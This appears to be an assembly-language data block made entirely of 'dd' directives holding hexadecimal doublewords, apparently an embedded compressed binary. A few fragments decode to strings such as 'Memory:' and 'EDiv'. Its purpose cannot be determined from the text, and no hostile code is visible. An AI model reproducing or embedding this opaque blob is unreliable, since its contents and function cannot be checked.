dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h
dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h
dd 5F18000h, 481C2478h, 0FFDA00C3h, 0E8048237h, 0ED30F8D9h
dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah, 0A77B9EDAh
dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
dd 251520Fh, 40400FABh, 9C7C20F9h, 302C00F1h, 0D81C051Ah
dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h, 0C121061Ch
dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h, 9D5442h
dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h, 317F000Ah
dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah, 0D22E00E8h
dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h, 83784Fh
dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h, 5771E14h
dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h, 0A8CD191Fh
dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
dd 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h, 25EE6Eh
dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h, 98396072h
dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h, 0DEC491C8h
dd 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh, 4F98A1E8h
dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h, 4914DC05h
dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h, 0A2423A3Ch
dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h, 1CF539F4h
dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh, 91B123B0h
dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
dd 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h, 805D883Ah
dd 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h, 651F4845h
dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh, 588E989Dh
dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h, 0B258F057h
dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
dd 2C00048h, 676E6152h, 9DFD1965h, 7700C820h, 8210C92h
dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch, 64221DC0h
dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h, 0D044F649h
dd 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h, 7542F4AFh
dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
dd 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h, 0B9616C89h
dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h, 6B632661h
dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh, 738572D9h
dd 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh, 8F60E074h
dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h, 3AEB00E1h
dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh, 12A74A6h
dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh
dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h
dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h
dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
dd 0C16F03B8h, 67E4BAC2h
dd 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h, 54F7644Ah
dd 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h, 6818BAE2h
dd 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah, 0B2640054h
dd 10240CDBh, 860067E8h, 557550BAh, 12F3B91h, 3822F5D5h
dd 402E1004h, 0C4F278E2h, 3A3F9400h, 0F4DAE445h, 0EE6A2E96h
dd 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh, 0F4263868h
dd 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h, 0BCC8F5Ch
dd 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h, 9F0C62C6h
dd 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h, 32079D6Eh
dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h
dd 9AEFF00h, 6B291B50h, 3F840002h, 4461765Bh, 884CEE0Eh
dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h
dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h
dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h
dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h, 70FC00E5h
dd 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h
dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h
dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h, 5BC30012h
dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h
dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h, 11B080h
dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h
dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h
dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h, 0D6B5Eh
dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h
dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh, 9FDA00C0h
dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h
dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h
dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h
dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h, 573A0E47h
dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h, 67503h
dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h, 55DC00EAh
dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h
dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh
dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h, 9DC400DFh
dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh
dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch, 62B01E87h
dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h, 5D892082h
dd 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh, 612C8C5h
dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h
dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h, 0FEBAEAE8h
dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h, 5CF100E8h
dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h
dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h, 0A6525851h
dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh
dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah
dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h
dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h, 37097739h
dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h
dd 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh, 390C093Dh
dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh, 0C12488DFh
dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h
dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h
dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h, 93C2564h
dd 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh
dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h, 0F29D1399h
dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h, 40DE580Ah
dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh
dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h, 90F7C006h
dd 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h, 92598043h
dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h
dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h, 0E3B72E0h
dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h, 8F4257B5h
dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h
dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h
dd 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh, 0F055A9C2h
dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h
dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh
dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh
dd 7C95170Bh, 9053400h, 0EABA74F6h, 3B710001h, 6F77E04Dh
dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h
dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h
dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h, 1FF3F77h
dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h
dd 4B31AC0h, 7773FCB8h, 139EC92h, 0BA2576C2h, 0E08A4BB5h
dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh
dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h, 0A9E8CF0Bh
dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h, 0FD4F035h
dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h
dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h
dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h
dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh
dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h
dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh, 7B9854EFh
dd 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h
dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h, 0EC7D4F39h
dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh, 5A050013h
dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h
dd 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h
dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
dd 7E772700h, 72052026h
dd 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h, 0FE465C3Bh
dd 94620077h, 17904815h, 30070E7Eh, 5C036618h, 41FE4E21h
dd 0F775F8h, 0A4D2C3Ch, 0A0C18B49h, 0EF996700h, 6DF16963h
dd 3F7C13h, 0DC8D39D1h, 0F06A2BF2h, 6CB14012h, 0F3FD2B00h
dd 0C36231h, 23EE810Ah, 857524D9h, 7F144905h, 0B5C5FD45h
dd 76A39C3h, 0A8427C6Ah, 7791F073h, 62037BE2h, 0B1B8461Ch
dd 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h, 6CE7201h
dd 75FF085Dh, 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h
dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h
dd 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h, 0B1F90017h
dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h, 19130052h
dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h
dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh, 74410764h
dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h
dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh, 0F14110Eh
dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh, 103B63h
dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h
dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch, 342507D0h
dd 8060094h, 50FE1391h, 205C67FDh, 575E0011h, 2590E9D6h
dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah
dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh, 0EE09F9D8h
dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h
dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h
dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh, 4FFF0022h
dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h
dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh
dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh, 6233DAB0h
dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch
dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh
dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h
dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h
dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h
dd 197F6C7h, 5F0EFC43h, 0C8FB14F4h, 0AE02750Dh, 44748861h
dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h
dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h, 2A001E75h
dd 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h, 3A62860Bh
dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h, 0F633C7A8h
dd 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh, 0F0440187h
dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h, 0B297C44Ch
dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h, 0C948A40Ah
dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh
dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h
dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh
dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h
dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h, 7F4ACC7h
dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h
dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h
dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h
dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h
dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h
dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h
dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh
dd 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h, 144D0500h
dd 24731682h, 2210032h, 774CCE54h, 2B005033h, 0B78EF44Dh
dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h
dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h
dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh, 30E2B810h
dd 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h, 0DF900FF0h
dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h
dd 671CDC4Dh, 2C5EC64h, 1A0C5903h, 1EE0B879h, 373E14CEh
dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h
dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h
dd 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh, 1C00752Fh
dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h
dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah, 90014EBh
dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh
dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h
dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h
dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h
dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh, 0ECF32DEAh
dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh
dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h
dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh
dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h
dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h
dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h, 1A012A61h
dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah, 6A7F2736h
dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh
dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh
dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h, 90DE4302h
dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h
dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh
dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h
dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h
dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h
dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h
dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h
dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah
dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h, 806DE41Fh
dd 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h, 0A281A54Dh
dd 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h, 0EB100403h
dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h, 340062C9h
dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh
dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h, 0BD00C27Ah
dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h
dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h
dd 50E88060h, 555AC01h, 68C1A1E0h, 0FB0A8058h, 0FC00EA51h
dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h
dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h
dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h
dd 0E204471Fh, 0BB379F33h
dd 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h, 0B095201Dh
dd 36C30307h, 5E50604h, 2B30487h, 9D09CB08h, 200C9C03h
dd 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h, 3825B10Fh
dd 84FEE0D8h, 985C8A9h, 54CEE6EAh, 86AC7080h, 4839B042h
dd 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h, 0F7F6114h
dd 7C00A522h, 0B4496847h, 589C88h, 26961873h, 782F7024h
dd 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh, 0B614B17h
dd 0A6164307h, 2470E471h, 719684FCh, 66D900A4h, 0A114B8FCh
dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h
dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah, 3DBC990Bh
dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h, 1F883386h
dd 0A1AC44h, 8DCABCE4h, 89E82410h, 96633401h, 5AEB2948h
dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh
dd 95D8102h, 265C80CCh, 0E0696285h, 6E606E22h, 0A702A68Ah
dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch
dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h, 0C2B8D00Bh
dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch, 0EFA85EC3h
dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh
dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h, 38FF4C15h
dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh
dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h
dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h
dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h
dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h
